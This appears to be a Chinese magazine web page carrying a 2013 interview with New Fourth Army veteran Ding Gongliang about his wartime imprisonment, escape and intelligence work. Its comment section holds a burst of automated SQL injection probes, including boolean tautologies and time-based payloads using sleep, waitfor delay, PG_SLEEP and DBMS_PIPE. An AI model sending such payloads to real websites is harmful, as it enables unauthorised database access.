《鐵軍》
- 特稿
- 老兵親述
- 尋訪(fǎng)新四軍老戰(zhàn)士
- 中國(guó)夢(mèng)·邊防情
- 多彩軍營(yíng)
- 昔日根據(jù)地 今日新農(nóng)村
- 海洋島嶼與國(guó)防
- 感懷新四軍
- 新四軍詩(shī)詞品讀
- 崢嶸歲月
- 綿綿思念
- 將帥傳奇
- 史林新葉
- 老兵風(fēng)采
- 鐵軍精神進(jìn)校園
- 我與新四軍
- 紅色景點(diǎn)
- 藝苑
- 連載
- 本刊專(zhuān)訪(fǎng)
- 特別閱讀
- 我與鐵軍
- 新四軍故事匯
《鐵軍·紀(jì)實(shí)》
- 卷首語(yǔ)
- 人物寫(xiě)真
- 傳奇故事
- 深度閱讀
- 精彩連載
- 軼事記趣
- 戰(zhàn)地奇葩
- 秘聞解讀
- 將星追蹤
- 親歷者述
- 鐵軍擷英
- 鐵軍尋蹤
- 巾幗豪杰
- 不盡追思
- 鐵軍奇葩
- 烽火搖籃
- 特別閱讀
- 雄師勁旅
《鐵軍·國(guó)防》
您的位置: 首頁(yè) > 《鐵軍》 > 尋訪(fǎng)新四軍老戰(zhàn)士 > 斗智斗勇 一路前行 ——訪(fǎng)新四軍老戰(zhàn)士丁公量
斗智斗勇 一路前行 ——訪(fǎng)新四軍老戰(zhàn)士丁公量
作者:杜寧寧 束華靜 責(zé)任編輯: 來(lái)源:《鐵軍》2013年第5期 日期:2013-08-19 瀏覽次數(shù):8329
2013年3月的一個(gè)下午,記者如約來(lái)到新四軍老戰(zhàn)士丁公量老人的住所拜訪(fǎng)。這個(gè)年近百歲的老人精神矍鑠,爽朗大氣,他動(dòng)情地講述自己的年少時(shí)光、青春歲月,歷歷往事生動(dòng)而具體;談起早年革命生涯,令我們身臨其境,感受到那個(gè)時(shí)代青年的愛(ài)國(guó)情懷和精神風(fēng)貌。
丁公量
3月的一個(gè)下午,記者如約來(lái)到新四軍老戰(zhàn)士丁公量老人的住所拜訪(fǎng)。丁老家中陳設(shè)簡(jiǎn)樸,但不乏書(shū)香氣息。半天的交談,這個(gè)年近百歲的老人依然精神矍鑠,爽朗大氣。他動(dòng)情地講述自己的年少時(shí)光、青春歲月,歷歷往事生動(dòng)而具體;談起早年革命生涯,令我們身臨其境,感受到那個(gè)時(shí)代青年的愛(ài)國(guó)情懷和精神風(fēng)貌。
官宦公子匯入革命洪流
丁公量1921年10月出生于浙江定海北門(mén)一名門(mén)望族。祖父丁七爺在清朝時(shí)當(dāng)過(guò)縣官,父親辛亥革命之后當(dāng)了浙江定海縣第一任縣長(zhǎng),可以說(shuō)是官宦之家。父親愛(ài)好中國(guó)的文化傳統(tǒng),所以丁公量一直讀的是私塾。后來(lái)隨著形勢(shì)的變化,學(xué)堂多起來(lái)了,在母親的敦促下,1934年丁公量去考舟山中學(xué),并被錄取。
從中學(xué)時(shí)代起,因家境衰落,丁公量便脫離了“少爺”生活,走上了自立的道路。面臨失學(xué),他勤工儉學(xué),通過(guò)同學(xué)關(guān)系找到了為民政科抄戶(hù)口簿的工作,抄一本兩角錢(qián)。他白天認(rèn)認(rèn)真真上課,晚上就在煤油燈下抄寫(xiě),有時(shí)通宵達(dá)旦;星期天更是充分利用,躲在小房中抄寫(xiě)。這樣邊打工邊讀書(shū),他才得以勉強(qiáng)讀完中學(xué)。家境衰敗后的苦難給了他生活閱歷,也給了他跟窮人之間溝通的基礎(chǔ),讓他對(duì)社會(huì)的不平不公有了一個(gè)直接的體驗(yàn)。這也是他年少時(shí)就產(chǎn)生革命意識(shí)的一個(gè)原始的動(dòng)因吧。
91歲的文化名人馬相伯與9歲丁公量的合影
舟山中學(xué)(原定海公學(xué))的創(chuàng)辦人劉鴻生先生,聘請(qǐng)了當(dāng)代教育家黃炎培、陶行知、陳鶴琴擔(dān)任辦校顧問(wèn),負(fù)責(zé)教學(xué)課程的設(shè)計(jì),以及延聘師資等有關(guān)事宜。在三名教育家的熱心指導(dǎo)和幫助下,舟山中學(xué)的師資陣容之強(qiáng)為全國(guó)同類(lèi)學(xué)校所罕見(jiàn)。其間,有不少?lài)?guó)內(nèi)名師和進(jìn)步教師(包括多名共產(chǎn)黨員)。在他們的影響下,丁公量接受了革命思想的最初啟蒙。1935年,年僅14歲的丁公量參加了抗日救國(guó)童子軍。
1936年3月31日,丁公量作為18名童子軍代表之一,由蔡煥、華恩熙老師率領(lǐng)赴杭參加浙江省第五次童子軍大檢閱。他和陳安羽等四人代表學(xué)校參加雙旗筆書(shū)旗語(yǔ)比賽,四人分成兩組,一邊打旗語(yǔ),一邊記錄,以出色成績(jī)?yōu)閷W(xué)校爭(zhēng)得了榮譽(yù),獲得了全省第一。1936年10月,在南京舉行了全國(guó)童子軍第二次大檢閱暨大露營(yíng)活動(dòng)。全國(guó)一萬(wàn)多童子軍聚集南京進(jìn)行了有史以來(lái)規(guī)模最大的檢閱活動(dòng)。時(shí)任童子軍會(huì)長(zhǎng)的蔣介石和宋美齡一起檢閱了童子軍。丁公量作為舟中派出的代表之一,參加雙旗筆書(shū)旗語(yǔ)比賽,又獲得第一。
最讓丁公量難忘的是,他在檢閱結(jié)束后,和同學(xué)一起專(zhuān)門(mén)前往東北流亡學(xué)生童子軍的營(yíng)地看望流亡學(xué)生,了解他們的現(xiàn)狀,關(guān)注他們的生活。請(qǐng)東北學(xué)生簽名時(shí),他們高喊“舟山同胞共救我東北三千萬(wàn)同胞”!他在心里銘刻下了這句誓言,這為他日后奔赴抗日戰(zhàn)場(chǎng)埋下了不滅的火種。
茅家?guī)X監(jiān)獄
1936年上半年,舟山成立了學(xué)生救國(guó)會(huì),丁公量由上海進(jìn)步青年楊子華介紹參加了救國(guó)會(huì),在共產(chǎn)黨員王起等人的領(lǐng)導(dǎo)下,開(kāi)展地下工作。第二年他考入上海中法工學(xué)院,被選為學(xué)生會(huì)主席,他組織學(xué)生與散布亡國(guó)論的學(xué)院院長(zhǎng)進(jìn)行了堅(jiān)決的斗爭(zhēng)。同年冬,他參加共產(chǎn)國(guó)際情報(bào)組織,任政治交通。
1938年1月,丁公量參加新四軍,同年5月加入中國(guó)共產(chǎn)黨。年僅17歲的他,擔(dān)任新四軍教導(dǎo)團(tuán)特派員,曾兩次接受艱巨任務(wù):護(hù)送上海地下黨負(fù)責(zé)人林楓經(jīng)溫州回上海,途中他機(jī)警行事,避開(kāi)日軍哨卡,確保領(lǐng)導(dǎo)安全,出色完成任務(wù);此后,又赴溫州巧妙接應(yīng)700名愛(ài)國(guó)志士來(lái)皖南參加新四軍。
皖南事變,掙脫集中營(yíng)牢籠
1941年1月,震驚中外的皖南事變爆發(fā),丁公量時(shí)任新四軍教導(dǎo)總隊(duì)特派員。教導(dǎo)總隊(duì)是軍部的最后預(yù)備隊(duì),在皖南事變期間一直跟在軍部后面且戰(zhàn)且退。當(dāng)時(shí),連日大雨滂沱,道路泥濘,溪水陡漲,給部隊(duì)行軍作戰(zhàn)帶來(lái)極大困難。最后他彈盡糧絕,極度疲乏,在頑軍的層層圍殲中被俘。
皖南事變后,駐在上饒的國(guó)民黨第三戰(zhàn)區(qū)司令顧祝同,把被俘的新四軍干部近600人,集中關(guān)押在上饒的上下周田村。集中營(yíng)共分五隊(duì),丁公量被編在三隊(duì),這個(gè)隊(duì)被國(guó)民黨特務(wù)們稱(chēng)為“頑固隊(duì)”。他們對(duì)被俘人員打、罵、餓等百般折磨,企圖逼他們“自新悔過(guò)”。但是,特務(wù)的殘酷折磨,并沒(méi)有磨滅戰(zhàn)士斗爭(zhēng)的意志。很快,在特務(wù)的眼皮底下,他們利用上大課和集中會(huì)操等機(jī)會(huì),通過(guò)聯(lián)系,建立了秘密黨組織。丁公量和汪海粟被選為三隊(duì)黨支部負(fù)責(zé)人。當(dāng)時(shí)正值八一,為了紀(jì)念這個(gè)節(jié)日,并借此對(duì)被囚同志進(jìn)行激勵(lì)和教育,他請(qǐng)汪寫(xiě)一篇宣傳教育提綱。在當(dāng)時(shí)那種情況下,汪海粟能夠避開(kāi)監(jiān)守的耳目,在短時(shí)間內(nèi)完成任務(wù),著實(shí)不簡(jiǎn)單。提綱在小范圍內(nèi)傳閱,加以口頭傳達(dá),大家對(duì)此反應(yīng)強(qiáng)烈,極大地鼓舞了士氣。隨后他們又開(kāi)展了教唱革命歌曲的活動(dòng),大家暗中三五成群,秘密傳唱,進(jìn)行革命教育。
丁公量在國(guó)民黨軍統(tǒng)的姐姐特地趕到了上饒。“我姐姐是專(zhuān)門(mén)來(lái)保我的,但是沒(méi)有見(jiàn)面,就寫(xiě)了一封信給我,這封信內(nèi)容是這樣的:你應(yīng)該在委員長(zhǎng)(蔣介石)的領(lǐng)導(dǎo)下,做一個(gè)忠實(shí)的三民主義的信徒。”很明顯,姐姐希望弟弟能夠通過(guò)向蔣委員長(zhǎng)表忠心來(lái)?yè)Q得自由。然而她沒(méi)有想到,悔過(guò)書(shū)沒(méi)拿到,反倒是收到了一封“訣別信”,丁公量在信中毅然寫(xiě)到:“同時(shí)同地同母生,各走各自道,一刀斷親根,大義賽天高。”
丁公量與老伴蘇菲
這封信表明了丁公量切斷骨肉親情、誓死抗?fàn)幍臎Q心。丁公量和被關(guān)押在集中營(yíng)里的革命志士一道,與國(guó)民黨頑固派展開(kāi)了不屈不撓的斗爭(zhēng)。沉重的勞役、殘忍的酷刑沒(méi)有讓這些戰(zhàn)士們放棄過(guò)希望,斑駁脫落的墻壁上,留下了見(jiàn)證他們信仰的馬(克思)恩(格斯)列(寧)斯(大林)畫(huà)像。“前進(jìn)前進(jìn),我們是鐵的新四軍!”嘹亮的新四軍軍歌在囚牢中回蕩。
與其被動(dòng)地坐穿牢底,不如選準(zhǔn)時(shí)機(jī),主動(dòng)地打破牢籠沖出去,重返革命隊(duì)伍。丁公量和獄中的戰(zhàn)友商量,準(zhǔn)備秘密發(fā)起越獄暴動(dòng)。
1941年10月,三隊(duì)秘密黨支部醞釀在中秋暴動(dòng),因叛徒告密流產(chǎn)。特務(wù)得知丁公量和汪海粟是“暴動(dòng)頭子”,對(duì)他們一番毒打后,便將兩人秘密關(guān)押進(jìn)了茅家?guī)X監(jiān)獄,他們被戴上了沉重的腳鐐,關(guān)在一間石頭砌的谷倉(cāng)里,隨時(shí)可能被殺。兩人巧妙地用皮帶扣撬開(kāi)腳鐐上的銷(xiāo)子,并騙過(guò)看守的士兵,幸運(yùn)地沖出了樊籠!死里逃生,丁公量和汪海粟都異常激動(dòng),緊緊地?fù)肀г谝黄稹?/span>
在汪海粟的建議下,他們決定往南走。在躲避集中營(yíng)追捕時(shí),兩人忍受著饑餓和疼痛,幸運(yùn)的是一路上得到了不少老百姓的幫助。老鄉(xiāng)見(jiàn)他們兩個(gè)身著帶有血跡的軍裝,就告訴他們,這一帶抓壯丁特別厲害,這樣走容易引人注目,提議他們?nèi)フ耶?dāng)?shù)卮虻靡皇趾霉靼舻摹按鬆敗睂で髱椭!按鬆敗笔莻€(gè)豪爽的人,聽(tīng)了他們的訴說(shuō)后,便幫助他們化裝成香菇客繼續(xù)上路了。
因?yàn)榛b過(guò),并攜帶有“大爺”幫著弄的路條,丁公量膽子就大了些,兩人走上了大路,結(jié)果晚上在福建蒲城境內(nèi)一個(gè)叫盤(pán)亭鄉(xiāng)的地方,還是被鄉(xiāng)公所抓了壯丁。汪假裝成夜盲癥,逃脫了被抓的命運(yùn)。丁公量當(dāng)時(shí)正當(dāng)壯年,就自然被抓了。丁公量和汪海粟這一對(duì)生死之交就這樣分別了。
抓壯丁之后丁公量被安排到了新兵連,沒(méi)想到國(guó)民黨的壯丁隊(duì)跟集中營(yíng)里差不多,每天只吃?xún)刹停由喜唾M(fèi)層層克扣,到士兵口里的就只有兩碗稀飯,根本不頂飽。有人因忍受不了惡劣的環(huán)境,試圖逃跑,但被抓回來(lái)就只有死路一條——活埋。那些被抓到壯丁隊(duì)的人非常想家,迫切想告訴家里自己的情況,苦于不會(huì)寫(xiě)信,便請(qǐng)丁公量幫助他們寫(xiě)家信。
丁公量幫忙寫(xiě)家信寫(xiě)出了名氣,被新兵連連長(zhǎng)提拔了去,做起了新兵連里的抄寫(xiě)員。“做抄寫(xiě)有個(gè)特權(quán),就是可以出去,自由一些。那時(shí)候大家都餓,我就幫助他們買(mǎi)些餅吃。有一次我在外面買(mǎi)餅時(shí),偶遇從集中營(yíng)逃出來(lái)的同志。他們中有個(gè)福建人,通過(guò)各種途徑找到了地方黨組織,我便設(shè)法從新兵連里逃出來(lái)了。先是住在他的一個(gè)親戚家,等新兵連離開(kāi)了那個(gè)地方才敢出來(lái)活動(dòng)。”就這樣一步一步,丁公量在同志們的幫助下從福建到金華再到上海,最后在上海地下黨的幫助下又回到了新四軍。
英勇機(jī)智,情報(bào)戰(zhàn)線(xiàn)展身手
1942年12月,丁公量隨部隊(duì)前往浙東開(kāi)辟抗日根據(jù)地,由于他在對(duì)敵情報(bào)戰(zhàn)方面富有經(jīng)驗(yàn),故出任敵工委副書(shū)記,負(fù)責(zé)杭州至寧波沿線(xiàn)城市地工委工作。1945年春,世界反法西斯戰(zhàn)爭(zhēng)格局急劇變化,蘇美兩軍在戰(zhàn)略上占據(jù)優(yōu)勢(shì),攻克柏林,攻占呂宋島,登陸琉球島,日本本土被轟炸遭重創(chuàng)。日本士兵厭戰(zhàn)逃跑,士氣低落,浙東地區(qū)的日軍也不例外,時(shí)有士兵手持新四軍創(chuàng)辦的日文《解放周報(bào)》和投誠(chéng)通行證,尋找新四軍三五支隊(duì)投誠(chéng)。敵工委在分析形勢(shì)后,丁公量率先作出決斷,以組織秘密“策反”行動(dòng),加緊編印日文《解放周報(bào)》,建立“反戰(zhàn)同盟”等特工斗爭(zhēng)方法,多途徑、大規(guī)模地發(fā)動(dòng)對(duì)駐寧波日軍的反戰(zhàn)攻勢(shì)。在一次大的行動(dòng)中,敵工委利用日軍一個(gè)大隊(duì)集中到戲院看電影的時(shí)機(jī),事前作出反戰(zhàn)部署,爭(zhēng)取了電影放映員做“內(nèi)線(xiàn)”,在影院每個(gè)座位上放上印有日文的《解放周報(bào)》和投誠(chéng)通行證。當(dāng)日本兵發(fā)現(xiàn)每人拿到的是一份反戰(zhàn)材料時(shí),慌了神、亂了陣。此后,敵軍又陸續(xù)個(gè)別甚至集體拿著投誠(chéng)通行證,向新四軍投降。
在朝鮮戰(zhàn)場(chǎng),丁公量負(fù)責(zé)的志愿軍第九兵團(tuán)對(duì)敵情報(bào)戰(zhàn)屢建奇功,通過(guò)誘敵入網(wǎng),捕獲高級(jí)敵特,繳獲軍用物資;采取逆用電臺(tái)打反情報(bào)戰(zhàn),與敵斗智斗勇,迫使美軍精心策劃的“兩棲登陸”作戰(zhàn)方案擱淺。對(duì)此,羅瑞卿將軍給予充分肯定:“這是我軍保衛(wèi)部門(mén)戰(zhàn)地反情報(bào)戰(zhàn)的一個(gè)典范,其斗爭(zhēng)手段新穎、成效明顯。”
走近這位可敬的革命老人,細(xì)心聆聽(tīng)他的敘述,我們感受到他堅(jiān)定的革命信念。也正是他在革命生涯前行中保持信仰不變,宗旨不變,才一次又一次地挺過(guò)難關(guān)。他用實(shí)際行動(dòng)告訴我們,只有努力過(guò)了才能看到希望。
-
用戶(hù): tjm 2021-09-09 08:53:19
-
用戶(hù): tjm 2021-09-09 08:53:26
-
用戶(hù): tjm 2021-09-09 08:53:26 文明上網(wǎng),理性發(fā)言
-
用戶(hù): tjm 2021-09-09 08:53:29
-
用戶(hù): tjm 2021-09-09 08:53:30
-
用戶(hù): tjm 2021-09-09 08:53:30
-
用戶(hù): tjm 2021-09-09 08:53:31
-
用戶(hù): tjm 2021-09-09 08:53:31
-
用戶(hù): tjm 2021-09-09 08:53:32
-
用戶(hù): tjm 2021-09-09 08:53:32
-
用戶(hù): tjm 2021-09-09 08:53:33
-
用戶(hù): tjm 2021-09-09 08:53:33
-
用戶(hù): tjm 2021-09-09 08:53:33
-
用戶(hù): tjm 2021-09-09 08:53:34
-
用戶(hù): tjm 2021-09-09 08:53:34
-
用戶(hù): tjm 2021-09-09 08:53:34
-
用戶(hù): tjm 2021-09-09 08:53:35
-
用戶(hù): tjm 2021-09-09 08:53:35
-
用戶(hù): tjm 2021-09-09 08:53:35
-
用戶(hù): tjm 2021-09-09 08:53:36
-
用戶(hù): tjm 2021-09-09 08:53:37
-
用戶(hù): tjm 2021-09-09 08:53:37
-
用戶(hù): tjm 2021-09-09 08:53:37
-
用戶(hù): tjm 2021-09-09 08:53:38
-
用戶(hù): tjm 2021-09-09 08:53:38
-
用戶(hù): tjm 2021-09-09 08:53:39
-
用戶(hù): tjm 2021-09-09 08:53:39
-
用戶(hù): tjm 2021-09-09 08:53:39
-
用戶(hù): tjm 2021-09-09 08:53:40
-
用戶(hù): tjm 2021-09-09 08:53:40
-
用戶(hù): tjm 2021-09-09 08:53:40
-
用戶(hù): tjm 2021-09-09 08:53:41
-
用戶(hù): tjm 2021-09-09 08:53:41
-
用戶(hù): tjm 2021-09-09 08:53:41
-
用戶(hù): tjm 2021-09-09 08:53:42
-
用戶(hù): tjm 2021-09-09 08:53:42
-
用戶(hù): tjm 2021-09-09 08:53:43
-
用戶(hù): tjm 2021-09-09 08:53:43
-
用戶(hù): tjm 2021-09-09 08:53:43
-
用戶(hù): tjm 2021-09-09 08:53:44
-
用戶(hù): tjm 2021-09-09 08:53:44
-
用戶(hù): tjm 2021-09-09 08:53:44
-
用戶(hù): tjm 2021-09-09 08:53:45
-
用戶(hù): tjm 2021-09-09 08:53:45
-
用戶(hù): tjm 2021-09-09 08:53:45
-
用戶(hù): tjm 2021-09-09 08:53:46
-
用戶(hù): tjm 2021-09-09 08:53:46
-
用戶(hù): tjm 2021-09-09 08:53:47
-
用戶(hù): tjm 2021-09-09 08:53:47
-
用戶(hù): tjm 2021-09-09 08:53:48
-
用戶(hù): tjm 2021-09-09 08:53:48
-
用戶(hù): tjm 2021-09-09 08:53:48
-
用戶(hù): tjm 2021-09-09 08:53:49
-
用戶(hù): tjm 2021-09-09 08:53:49
-
用戶(hù): tjm 2021-09-09 08:53:50
-
用戶(hù): tjm 2021-09-09 08:53:50
-
用戶(hù): tjm 2021-09-09 08:53:50
-
用戶(hù): tjm 2021-09-09 08:53:51
-
用戶(hù): tjm 2021-09-09 08:53:51
-
用戶(hù): tjm 2021-09-09 08:53:51
-
用戶(hù): tjm 2021-09-09 08:53:52
-
用戶(hù): tjm 2021-09-09 08:53:52
-
用戶(hù): tjm 2021-09-09 08:53:52
-
用戶(hù): tjm 2021-09-09 08:54:18 文明上網(wǎng),理性發(fā)言
-
用戶(hù): tjm 2021-09-09 08:54:19 文明上網(wǎng),理性發(fā)言
-
用戶(hù): tjm 2021-09-09 08:54:19 -1 OR 2+763-763-1=0+0+0+1 --
-
用戶(hù): tjm 2021-09-09 08:54:19 -1 OR 2+691-691-1=0+0+0+1
-
用戶(hù): tjm 2021-09-09 08:54:20 -1' OR 2+555-555-1=0+0+0+1 --
-
用戶(hù): tjm 2021-09-09 08:54:20 -1' OR 2+121-121-1=0+0+0+1 or 'bLRbH01h'='
-
用戶(hù): tjm 2021-09-09 08:54:20 -1" OR 2+602-602-1=0+0+0+1 --
-
用戶(hù): tjm 2021-09-09 08:54:21 if(now()=sysdate(),sleep(15),0)
-
用戶(hù): tjm 2021-09-09 08:54:21 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
用戶(hù): tjm 2021-09-09 08:54:22 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
用戶(hù): tjm 2021-09-09 08:54:22 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
用戶(hù): tjm 2021-09-09 08:54:23 1 waitfor delay '0:0:15' --
-
用戶(hù): tjm 2021-09-09 08:54:23 57dGf0o8'; waitfor delay '0:0:15' --
-
用戶(hù): tjm 2021-09-09 08:54:23 fr96jQkh' OR 30=(SELECT 30 FROM PG_SLEEP(15))--
-
用戶(hù): tjm 2021-09-09 08:54:24 9WR4jJAN') OR 734=(SELECT 734 FROM PG_SLEEP(15))--
-
用戶(hù): tjm 2021-09-09 08:54:24 w2ia3mdh')) OR 891=(SELECT 891 FROM PG_SLEEP(15))--
-
用戶(hù): tjm 2021-09-09 08:54:25 文明上網(wǎng),理性發(fā)言'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
用戶(hù): tjm 2021-09-09 08:54:25 1'"
-
用戶(hù): tjm 2021-09-09 08:54:25 1